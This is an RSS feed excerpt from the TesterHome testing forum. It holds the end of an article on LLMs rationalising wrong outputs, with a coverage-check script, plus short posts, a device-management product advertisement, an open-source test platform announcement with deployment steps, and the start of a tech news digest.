&lt;p&gt;&lt;strong&gt;1. 大模型的本质是"生成连贯文本"，不是"追求事实准确"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;LLM 的训练目标是让生成的文本在语言层面连贯、合理、符合语境。它不是在做"事实核查"，而是在做"文本续写"。&lt;/p&gt;

&lt;p&gt;当它说出了一个错误结论，下一步它不会去"验证这个结论对不对"——它会继续生成"让这个结论看起来对的后续文本"。因为在它的训练数据里，"解释为什么某件事是对的"这种模式比"我刚才说错了"更常见。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. 没有真正的"自我认知"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;AI 没有"我知道我不知道"这种能力。它不会区分"我确实算对了"和"我觉得我算对了"。对它来说，输出什么都是同一种行为——生成文本。&lt;/p&gt;

&lt;p&gt;所以当它输出"覆盖率 100%"时，它是真的"觉得"覆盖率是 100%。当你拿出反证，它需要生成一段新的文本来协调这个矛盾——而"编一个解释"比"承认错误"在文本连贯性上更自然。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. RLHF 训练强化了"看起来正确"的倾向&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;大模型经过人类反馈强化学习（RLHF）后，会倾向于输出"让人类满意"的回答。承认错误在某些情况下是让人满意的，但&lt;strong&gt;解释为什么"其实没错"往往比直接认错更容易让对话继续下去&lt;/strong&gt;。模型学到了这个模式。&lt;/p&gt;

&lt;hr&gt;
&lt;h2 id="怎么治"&gt;怎么治&lt;/h2&gt;&lt;h3 id="方法1：关键数据用代码校验，不信任AI的数字输出"&gt;方法 1：关键数据用代码校验，不信任 AI 的数字输出&lt;/h3&gt;
&lt;p&gt;AI 说"覆盖率 100%"不算数。代码跑出来 100% 才算数。&lt;/p&gt;

&lt;p&gt;AI 说"共生成 23 个用例"不算数。&lt;code&gt;len(result_list)&lt;/code&gt; 输出 23 才算数。&lt;/p&gt;

&lt;p&gt;AI 说"所有接口都测试通过了"不算数。测试报告里的通过率才算数。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;凡是需要精确数字的环节，一律用代码做二次校验。&lt;/strong&gt; 不是"看看 AI 的输出对不对"——是"完全不看 AI 的输出，自己独立算一遍，然后对比"。&lt;/p&gt;

&lt;p&gt;我的校验脚本核心逻辑很简单：&lt;/p&gt;
 &lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 从需求文档提取功能元素列表
&lt;/span&gt;&lt;span class="n"&gt;required_elements&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;extract_elements&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;requirement_doc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 从AI输出提取已覆盖的元素
&lt;/span&gt;&lt;span class="n"&gt;covered_elements&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;extract_covered_elements&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ai_output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 计算真实覆盖率
&lt;/span&gt;&lt;span class="n"&gt;coverage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;covered_elements&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;required_elements&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;required_elements&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"需求元素总数: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;required_elements&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"AI声称覆盖率: 100%"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"实际覆盖率: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;coverage&lt;/span&gt;&lt;span class="p"&gt;:.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"未覆盖元素: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;required_elements&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;covered_elements&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt; 
&lt;p&gt;这段代码不到 20 行，但它能戳破 AI 的任何"合并策略""统计口径差异"之类的借口。&lt;/p&gt;
&lt;h3 id="方法2：不让AI"&gt;方法 2：不让 AI"自检"——让它做和让它查是分开的&lt;/h3&gt;
&lt;p&gt;很多人让 AI 做完一件事后，会接着问："你检查一下做得对不对。"&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;这个做法没用。&lt;/strong&gt; 因为 AI 在"检查"的时候，会复用刚才"做"的上下文和推理路径。它不是在独立审查，而是在自己审自己——就像让学生自己批改自己的考卷。&lt;/p&gt;

&lt;p&gt;正确的做法是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;做&lt;/strong&gt;的部分可以让 AI 来&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;查&lt;/strong&gt;的部分用独立脚本/工具/另一个人来&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果你的 Agent 做了一件事，校验逻辑不要放在同一个 LLM 调用里。写一段独立代码，或者开一个全新的对话让另一个模型来审。&lt;/p&gt;
&lt;h3 id="方法3：对AI的"&gt;方法 3：对 AI 的"解释"保持怀疑——尤其是它突然引入新概念的时侯&lt;/h3&gt;
&lt;p&gt;当 AI 的错误被指出后，注意它接下来的回复里有没有出现这些特征：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;突然引入一个你之前没提到的概念（"合并策略""统计口径""上下文差异"）&lt;/li&gt;
&lt;li&gt;重新定义你之前明确说过的词（你说"覆盖率"，它偷偷把定义改成"场景覆盖率"）&lt;/li&gt;
&lt;li&gt;用"考虑到 XX 因素"来合理化一个你根本没要求考虑的东西&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;这些信号都是在告诉你：它在编理由，不是在修复问题。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;遇到这种情况，不要跟着它的解释走。回到事实本身：&lt;/p&gt;

&lt;p&gt;"你刚才说的'合并策略'是在哪一步执行的？请指出具体的代码位置/输出位置。"&lt;/p&gt;

&lt;p&gt;如果它指不出来——那就是编的。&lt;/p&gt;
&lt;h3 id="方法4：建立"&gt;方法 4：建立"基线对照"机制&lt;/h3&gt;
&lt;p&gt;不要只看 AI 当前的输出对不对，而是建立一个可重复验证的基线：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;固定一组输入&lt;/li&gt;
&lt;li&gt;让 AI 处理&lt;/li&gt;
&lt;li&gt;用代码提取输出中的关键指标&lt;/li&gt;
&lt;li&gt;和已知正确答案对比&lt;/li&gt;
&lt;li&gt;记录每次的偏差&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个基线不需要复杂，哪怕就是一个 JSON 文件存着"标准答案"都行。但它能让你在 AI"自圆其说"时，有一个不可辩驳的参照物。&lt;/p&gt;

&lt;p&gt;AI 说"覆盖率 100%"？基线文件里写着答案是 69%。不需要争论。&lt;/p&gt;

&lt;hr&gt;
&lt;h2 id="一句话总结"&gt;一句话总结&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;AI 的"解释"比"错误"更危险——错误你能发现，解释能把你带偏。凡涉及精确性的环节，只信代码输出，不信 AI 叙述。&lt;/strong&gt;&lt;/p&gt;</description>
      <author>Santo</author>
      <pubDate>Mon, 10 Aug 2026 14:53:52 +0800</pubDate>
      <link>https://testerhome.com/topics/44600</link>
      <guid>https://testerhome.com/topics/44600</guid>
    </item>
    <item>
      <title>现在公司 后端 app 开发都开始做全栈，前端和测试都要被去掉了吗</title>
      <description>&lt;p&gt;AI 确实替代了很多人力，现在测试的需求也少了  用例全部 AI 生成.&lt;/p&gt;</description>
      <author>G.C.P.D</author>
      <pubDate>Mon, 10 Aug 2026 11:07:48 +0800</pubDate>
      <link>https://testerhome.com/topics/44599</link>
      <guid>https://testerhome.com/topics/44599</guid>
    </item>
    <item>
      <title>周日直播录屏 -- Agent 沙箱测试科普</title>
      <description>&lt;p&gt;昨晚直播录屏：&lt;br&gt;
录制：Agent 沙箱测试科普&lt;br&gt;
录制文件：&lt;a href="https://meeting.tencent.com/crm/2BV7q8bV73" rel="nofollow" target="_blank"&gt;https://meeting.tencent.com/crm/2BV7q8bV73&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;对云原生和 AI runtime 有兴趣的同学可以看看&lt;/p&gt;</description>
      <author>ycwdaaaa</author>
      <pubDate>Mon, 10 Aug 2026 10:51:11 +0800</pubDate>
      <link>https://testerhome.com/topics/44598</link>
      <guid>https://testerhome.com/topics/44598</guid>
    </item>
    <item>
      <title>找设备找到崩溃？聊聊真机测试那些"隐形内耗"，以及我们怎么破的局</title>
      <description>&lt;p&gt;&lt;img title=":grinning:" alt="😀" src="https://twemoji.ruby-china.com/2/svg/1f600.svg" class="twemoji"&gt; 先问大家一个问题：你们团队测试一轮版本，花在"找设备、等设备"上的时间有多少？&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;写在前面&lt;/p&gt;

&lt;p&gt;不是标题党。先说几个场景，看看你中了几个：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;版本上线前急需一台特定系统版本的机型，挨个工位问、翻遍测试柜，半天过去了&lt;/li&gt;
&lt;li&gt;设备被谁占用、什么时候释放，全靠群里吼一嗓子&lt;/li&gt;
&lt;li&gt;异地同事报了个 bug，你这边复现不了，干等着设备寄过来&lt;/li&gt;
&lt;li&gt;测试截图、录屏、日志散落在各种个人电脑里，合规审计的时候全员翻箱倒柜&lt;/li&gt;
&lt;li&gt;设备上下架、借还记录全靠 Excel，盘点的时候发现对不上&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果以上场景你觉得眼熟，那你可能也在被"真机管理"这件事悄悄拖后腿。&lt;/p&gt;

&lt;p&gt;今天想跟测试之家的同学们聊一个话题：真机测试里那些看不见的内耗，到底有多贵？以及我们团队最近做的一个东西——无缺灵触™企业级私有云真机管理平台，是怎么把这些坑填上的。&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;一、四大隐形内耗，你的团队中了几个？&lt;/p&gt;

&lt;p&gt;很多团队把精力投在用例设计、自动化建设上，这当然没错。但真机管理本身的低效，正在以一种隐蔽的方式吃掉你的测试周期。我们复盘下来，主要有四类：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;设备碎片化管理：看得见的机型，看不见的等待&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;品牌、系统版本、芯片、屏幕尺寸的碎片化，要求测试团队储备大量真机。但线下分散管理模式下，设备状态永远是黑盒：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;找一台特定机型 → 挨个工位问、翻测试柜&lt;/li&gt;
&lt;li&gt;设备占用状态 → 全靠口头沟通，排期被等待打断&lt;/li&gt;
&lt;li&gt;多部门重复采购同规格机型 → 闲置与紧缺并存&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;仅"找设备、等设备"这一项，就可能拖慢单轮测试周期 30% 以上，设备实际利用率不足 40%——大量硬件资产在沉睡。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;跨地域协作：复现一个 bug，沟通成本翻倍&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;异地研发、分布式团队已是常态，但真机的物理属性让协作始终有断点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;测试发现问题 → 截图、录屏、文字描述传给研发 → 研发难以 1:1 复现&lt;/li&gt;
&lt;li&gt;远程办公时接触不到实体设备 → 关键验证被迫停滞&lt;/li&gt;
&lt;li&gt;跨城市共用设备池 → 线下流转周期长，问题定位极低效&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;很多团队为复现一个偶现 bug，反复邮寄设备、同步环境配置，沟通和等待的时间远超排查本身。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;安全合规：数据散落个人设备，审计步步惊心&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;对金融、政企行业，数据安全是红线。传统模式下测试数据、日志、截图、录屏分散在个人设备中，既难统一管控，也有外泄风险。叠加信创建设推进，国产化服务器与现有测试工具的适配难题，让私有化方案更难落地。&lt;/p&gt;

&lt;p&gt;没有统一管控入口、操作无法全程审计、数据不能完全留存本地——这些都是合规审计的硬伤。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;运维追溯：设备全生命周期，不该靠 Excel 兜底&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;上下架、借还、维修、报废全靠 Excel → 记录不及时，盘点误差大&lt;/li&gt;
&lt;li&gt;设备过热、离线、异常掉电无预警 → 影响测试稳定性，还有物理安全隐患&lt;/li&gt;
&lt;li&gt;关键操作无审计留痕 → 出问题难追溯，内控成本高&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这四类内耗叠在一起，最终就是：人力越投越多，效率越提越慢。&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;二、破局思路：不是买更多设备，而是让现有设备"活"起来&lt;/p&gt;

&lt;p&gt;核心思路其实不复杂——把分散的真机资源集中化、线上化、系统化，让设备管理从"靠人沟通"转向"靠平台管控"。&lt;/p&gt;

&lt;p&gt;这就是我们做无缺灵触™的出发点。简单说，它是一个企业级私有云真机管理平台，把自有真机接入统一设备池，测试人员通过云端完成远程操控、批量执行、日志采集与全生命周期管理。&lt;/p&gt;

&lt;p&gt;下面挑几个测试同学最关心的点展开聊聊：&lt;/p&gt;

&lt;p&gt;毫秒级触控，远程操控手感媲美本地&lt;/p&gt;

&lt;p&gt;这是远程真机最核心的体验。我们优化了触控传输链路，实现毫秒级响应，支持滑动拖拽等高帧率操作。说白了，远程操控的手感跟拿着真机差别不大——"千里之外，一触达"不是吹的。&lt;/p&gt;

&lt;p&gt;还支持单机/多机双操控模式：单端操作可同步广播到多台设备，兼容性测试、版本回归、渠道包验证的效率直接拉满。&lt;/p&gt;

&lt;p&gt;全栈兼容：鸿蒙、Android、iOS 一个都不落&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;全面覆盖 HarmonyOS NEXT（纯血鸿蒙）、Android、iOS 三大系统&lt;/li&gt;
&lt;li&gt;适配主流品牌多版本机型，减少单一设备环境的测试盲区&lt;/li&gt;
&lt;li&gt;深度适配信创服务器、操作系统与中间件，无缝融入企业国产化基础设施&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;鸿蒙这块现在需求量很大，很多团队都在找方案，大家可以重点关注下。&lt;/p&gt;

&lt;p&gt;私有化部署，数据 100% 不出域&lt;/p&gt;

&lt;p&gt;全量私有化部署，测试数据、日志、截图、录屏全部留存企业本地内网。平台依托 ISO 9001/20000/27001 三大管理体系认证，支持权限分级管控、操作全程审计留痕。&lt;/p&gt;

&lt;p&gt;金融、政企的同学应该对这个点感受最深——数据不出域，合规审计才有的谈。&lt;/p&gt;

&lt;p&gt;全生命周期管控，告别 Excel 盘点&lt;/p&gt;

&lt;p&gt;从设备上架、预约调度、状态监控到运维维修、流转追溯，全流程线上化。设备状态实时可视，使用权限分级管控，关键操作全程留痕，配套审计日志、数据备份与系统运维。&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;三、实际效果怎么样？&lt;/p&gt;

&lt;p&gt;不玩虚的，上数据：&lt;/p&gt;

&lt;p&gt;&lt;img src="/uploads/photo/2026/fa622253-a600-4cbe-ad82-9f077edafc5d.png!large" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;目前已在金融、游戏、汽车、智能制造等行业落地验证，服务了 500+ 家企业客户。交付模式也很灵活——软硬一体多形态，订阅和永久授权都支持，降低初期投入门槛。&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;四、想聊聊几个话题&lt;/p&gt;

&lt;p&gt;发这个帖不只是介绍产品，更想听听测试之家同学们的真实声音：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;你们团队真机管理现在是什么模式？Excel？自研工具？还是公有云真机？&lt;/li&gt;
&lt;li&gt;远程真机操控的延迟，大家能接受的阈值是多少？我们做到了毫秒级，但想听听更多真实需求。&lt;/li&gt;
&lt;li&gt;鸿蒙适配这块，有多少团队已经在做了？碰到了什么坑？&lt;/li&gt;
&lt;li&gt;私有化 vs 公有云真机，你们怎么选？什么场景下必须私有化？&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;欢迎在评论区交流，也欢迎拍砖。如果是纯技术讨论，我们可以深入聊远程触控传输优化、设备调度策略这些细节。&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;试用福利&lt;/p&gt;

&lt;p&gt;无缺灵触™现已开放 7 天免费试用，首季订阅享 7.5 折优惠。&lt;/p&gt;

&lt;p&gt;有兴趣体验的同学可以扫描下方二维码申请，也可以直接在评论区留言或私信我，我来安排。&lt;br&gt;
&lt;img src="/uploads/photo/2026/b3169ea6-657b-45fb-93a1-5d7125d742f0.png!large" title="" alt=""&gt;&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;关于跬步技术：成立于 2014 年，江苏省省级专精特新中小企业、国家高新技术企业，以"让天下没有难做的测试"为愿景，深耕企业级测试领域，已服务 500+ 企业客户。无缺智测是旗下品牌，锚定智能化测试发展方向，坚守 “质量不容有缺” 的价值主张，致力于为企业提供稳定可靠的全链路测试解决方案。&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;&lt;em&gt;以上内容由跬步技术团队分享，如涉及产品信息有疑问欢迎跟帖讨论。&lt;/em&gt;&lt;/p&gt;</description>
      <author>suprall</author>
      <pubDate>Mon, 10 Aug 2026 10:37:34 +0800</pubDate>
      <link>https://testerhome.com/topics/44597</link>
      <guid>https://testerhome.com/topics/44597</guid>
    </item>
    <item>
      <title>有没有从事或正在找 agent 测试/大模型测试相关岗位的大佬，想问下市面上找这些的公司面试一般问啥内容</title>
      <description>&lt;p&gt;公司从去年 9 月就开始要求全员学习 AI 相关技术，目前内部 Agent 系统的测试项目也比较多，但我自己对实际掌握到什么程度没有清晰的认知，想请教下有相关实战经验的老哥&lt;/p&gt;</description>
      <author>lemon-Yuki</author>
      <pubDate>Mon, 10 Aug 2026 09:10:44 +0800</pubDate>
      <link>https://testerhome.com/topics/44596</link>
      <guid>https://testerhome.com/topics/44596</guid>
    </item>
    <item>
      <title>MokaTest：覆盖需求管理、API 测试、UI 自动化的「开源测试平台」</title>
      <description>&lt;h2 id="摘要"&gt;摘要&lt;/h2&gt;
&lt;p&gt;MokaTest 是面向测试团队的一站式自动化测试平台，覆盖从需求到报告的完整测试流程：质量管理（需求池/BUG 池/测试用例/血缘追踪）、API 测试（调试、断言、Mock、数据模板）、UI 自动化（可视化编排、元素库、断点调试、AI 定位自愈）、测试计划与报告，以及团队/项目/成员三级权限协作。Docker Compose 一键部署。&lt;/p&gt;
&lt;h2 id="详细介绍内容"&gt;详细介绍内容&lt;/h2&gt;&lt;h3 id="这是什么"&gt;这是什么&lt;/h3&gt;
&lt;p&gt;MokaTest 是一个面向测试团队的一站式自动化测试平台，把「质量管理 + API 测试 + UI 自动化 + 测试计划 + 团队协作」整合在同一个系统里，覆盖从需求录入到测试报告产出的完整测试流程。测试同学不需要在禅道、Postman、Selenium IDE、Jenkins 之间来回切换，一个平台即可闭环。&lt;/p&gt;
&lt;h3 id="核心功能"&gt;核心功能&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. 质量管理&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;需求池：支持 Epic/Story 层级、优先级、状态流转（草稿→评审→开发→测试→上线）&lt;/li&gt;
&lt;li&gt;BUG 池：严重程度/优先级/环境/重现概率全维度管理，支持评论与操作日志&lt;/li&gt;
&lt;li&gt;测试用例：文件夹树管理、步骤化编写、与自动化用例双向绑定&lt;/li&gt;
&lt;li&gt;血缘追踪：需求 → 用例 → BUG 的思维导图式关系图，一键看清覆盖率和质量风险&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. API 测试&lt;/strong&gt;&lt;br&gt;
&lt;img src="/uploads/photo/2026/9dbb55b8-77b2-4252-983b-5a3df3aa5936.png!large" title="" alt=""&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;接口调试：Header/Query/Body 全参数化，支持断言、提取、前后置脚本&lt;/li&gt;
&lt;li&gt;参数级 Mock：可视化配置生成规则（手机号/姓名/UUID/枚举等 30+ 种），无需手写表达式&lt;/li&gt;
&lt;li&gt;数据模板：可复用的结构化数据生成器，支持批量生成 1000 条并导出 JSON/CSV/Excel&lt;/li&gt;
&lt;li&gt;响应定义：按结构定义自动校验响应（类型/必填/枚举/嵌套），Mock 响应自动跟随&lt;/li&gt;
&lt;li&gt;多环境：环境/全局变量集中管理，一键切换&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;3. UI 自动化&lt;/strong&gt;&lt;br&gt;
&lt;img src="/uploads/photo/2026/ad8840af-53a9-49e4-9c7d-fcd1c8c30d82.png!large" title="" alt=""&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;场景可视化编排：工作流画布 + 步骤列表双视图，支持条件/循环/iframe 等复杂步骤&lt;/li&gt;
&lt;li&gt;浏览器录制插件：录制操作一键导入生成场景（关注公众号「MokaTest」回复「MokaTest 录制插件」获取）&lt;/li&gt;
&lt;li&gt;元素库：页面元素集中管理，多场景复用&lt;/li&gt;
&lt;li&gt;调试器：支持暂停/继续、断点、「执行到此步骤」，暂停期间修改步骤可热加载续跑&lt;/li&gt;
&lt;li&gt;AI 定位自愈：元素定位失败时，AI 分析页面快照自动推荐新定位器，真实页面验证通过后一键写回元素库&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;4. 测试计划与报告&lt;/strong&gt;&lt;br&gt;
&lt;img src="/uploads/photo/2026/20ec7e6f-f8e7-497d-8e3c-8260f9e52a61.png!large" title="" alt=""&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;手动/定时触发，支持并发执行&lt;/li&gt;
&lt;li&gt;Webhook 通知、多维度测试报告&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;5. 团队协作&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;团队/项目/成员三级权限隔离，角色权限灵活配置&lt;/li&gt;
&lt;li&gt;站内信通知：@ 提及、状态变更、指派等 11 个场景，项目级可配置&lt;/li&gt;
&lt;li&gt;操作日志/登录日志完整审计&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="技术栈"&gt;技术栈&lt;/h3&gt; &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;层级&lt;/th&gt;
&lt;th&gt;技术&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;前端&lt;/td&gt;
&lt;td&gt;Vue 3 + Vite + Arco Design Vue + TypeScript&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;后端&lt;/td&gt;
&lt;td&gt;Spring Boot 3 + MyBatis-Plus + Sa-Token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数据库&lt;/td&gt;
&lt;td&gt;MySQL 8.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;其他&lt;/td&gt;
&lt;td&gt;Playwright（UI 自动化）、MinIO（文件存储）、Docker Compose&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; &lt;h3 id="部署方式"&gt;部署方式&lt;/h3&gt;
&lt;p&gt;Docker Compose 一键部署，无需本机安装任何依赖：&lt;/p&gt;
 &lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/Jinglong233/MokaTest.git
&lt;span class="nb"&gt;cp&lt;/span&gt; .env.example .env
docker compose up &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;--build&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt; 
&lt;p&gt;启动后访问 &lt;code&gt;http://&amp;lt;服务器IP&amp;gt;&lt;/code&gt;，默认账号 &lt;code&gt;admin&lt;/code&gt; / &lt;code&gt;abc123&lt;/code&gt;。&lt;/p&gt;
&lt;h3 id="授权说明"&gt;授权说明&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;学习、测试、评估、非生产环境使用：完全免费&lt;/li&gt;
&lt;li&gt;公司内网部署、内部业务自用（含生产环境）：免费，无需授权&lt;/li&gt;
&lt;li&gt;作为托管/云服务提供给第三方、转售等用途需商业授权&lt;/li&gt;
&lt;li&gt;每个版本发布满 4 年后自动转为 Apache License 2.0&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="项目状态"&gt;项目状态&lt;/h3&gt;
&lt;p&gt;项目目前处于早期阶段（v0.x），由个人独立开发维护，功能持续迭代中。欢迎通过 Issue 反馈问题，也欢迎 Star 支持。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;在线体验：&lt;a href="https://mokatest.cn" rel="nofollow" target="_blank"&gt;https://mokatest.cn&lt;/a&gt;（账号 &lt;code&gt;mokatest&lt;/code&gt; / &lt;code&gt;mokatest&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;使用文档：&lt;a href="https://mokatest.cn/docs/" rel="nofollow" target="_blank"&gt;https://mokatest.cn/docs/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;GitHub：&lt;a href="https://github.com/Jinglong233/MokaTest" rel="nofollow" target="_blank"&gt;https://github.com/Jinglong233/MokaTest&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Gitee：&lt;a href="https://gitee.com/Jinglong233/MokaTest" rel="nofollow" target="_blank"&gt;https://gitee.com/Jinglong233/MokaTest&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <author>Jinglong233</author>
      <pubDate>Mon, 10 Aug 2026 09:16:26 +0800</pubDate>
      <link>https://testerhome.com/topics/44595</link>
      <guid>https://testerhome.com/topics/44595</guid>
    </item>
    <item>
      <title>OpenAI 首款 AI 硬件曝光：甜甜圈形状无屏智能音箱 300–400 美元；OpenAI 与 Pion 合作构建 Go 语言 Opus 解码器丨日报</title>
      <description>&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-e656ea2b4b0618854114f90a4593c564811.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;本期编辑：@ 三水、@ 鲍勃&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="01 有话题的技术"&gt;&lt;strong&gt;01 有话题的技术&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1、阿里发布 AI 语音平台 CosyVoice Studio：集成语音记录、语音智能体与音频创作能力&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;阿里巴巴推出一站式 AI 语音平台 CosyVoice Studio，基于自研语音模型 Qwen-Audio 构建，整合语音记录、实时语音智能体和 AI 音频创作三类能力。平台包含 CosyFlow、CosyAgent 和 CosyCreative 三个功能模块，覆盖语音输入、交互和内容生成场景。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;语音记录工具 CosyFlow 支持语义理解与结构化整理：&lt;/strong&gt; CosyFlow 在语音转文字基础上增加语义理解和文本生成能力，可自动去除口语填充词，并将录音内容整理为邮件、汇报、会议纪要等结构化文本。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;支持多人会议录音与智能摘要：&lt;/strong&gt; CosyFlow 内置 “随记” 功能，支持实时录制和离线上传，可通过声纹区分不同发言人，并自动生成章节结构和摘要。&lt;/p&gt;&lt;/li&gt;
